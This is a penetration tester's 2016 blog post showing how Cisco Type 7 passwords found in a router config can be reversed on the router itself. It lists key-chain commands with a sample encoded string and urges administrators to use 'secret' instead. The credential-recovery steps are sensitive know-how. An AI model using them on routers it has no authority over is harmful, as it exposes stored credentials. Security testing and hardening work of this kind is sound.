Reversing Type 7 Cisco Passwords

March 4th, 2016

While working on a recent pen test, I came across a few Cisco routers sitting on an internal network. The fact that they were using default cisco/cisco credentials made me cry a little inside, but wait, it gets worse… So I’m in the router, reviewing the running config, and I notice something interesting.

Screen Shot 2016-02-29 at 2.05.03 PM

Note that both of these accounts have the same privilege level, but that the passwords are stored differently. This is because the first user was created with a command like this:

Screen Shot 2016-03-01 at 4.48.44 PM

Whereas, the second user was created with this command:

Screen Shot 2016-03-01 at 4.49.11 PM

The difference between these two storage methods (password or secret) are the hashing algorithms. Type 7 passwords use a very weak algorithm that can be easily reversed, but the “secret” command utilizes a MD5 hash which is much more secure. Due to this, it is never a good idea to use Type 7 passwords. This policy applies to both user accounts and passwords applied to the VTY or Console lines.

So now that I’ve found these Type 7 passwords, I need a way to reverse them. There are several different tools and websites that have this capability, but there’s an easier way! I don’t even have to leave the router! Thanks to a nifty little feature called the “key chain”, I can reverse these passwords right here, right now!

1. First, we will enter config mode:

configure terminal

2. Next, we will create our key chain and give it the name of NEW:

key chain NEW

3. We will enter the first key:

key 1

4. Then we enter the key-string, which will include the number 7 for encryption type and the text of the “encrypted” password:

key-string 7 07212E587D062A0014000E18

* At this point, you may add more keys by repeating steps 3 and 4 if you have multiple passwords to reverse. Make sure to increase the key count though (key 2, key 3, etc.).

5. Finally, we do a show command, and voila! Passwords!

do show key chain

Now that you’ve seen how incredibly easy it is to reverse these types of passwords, please go forth and check your routers! Ensure that all user accounts and enable passwords listed in the running config are proceeded by the word “secret”.

 

Donna Fracarossi is a Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact her at donna@secureideas.com or visit the Secure Ideas – ProfessionallyEvil site for services provided.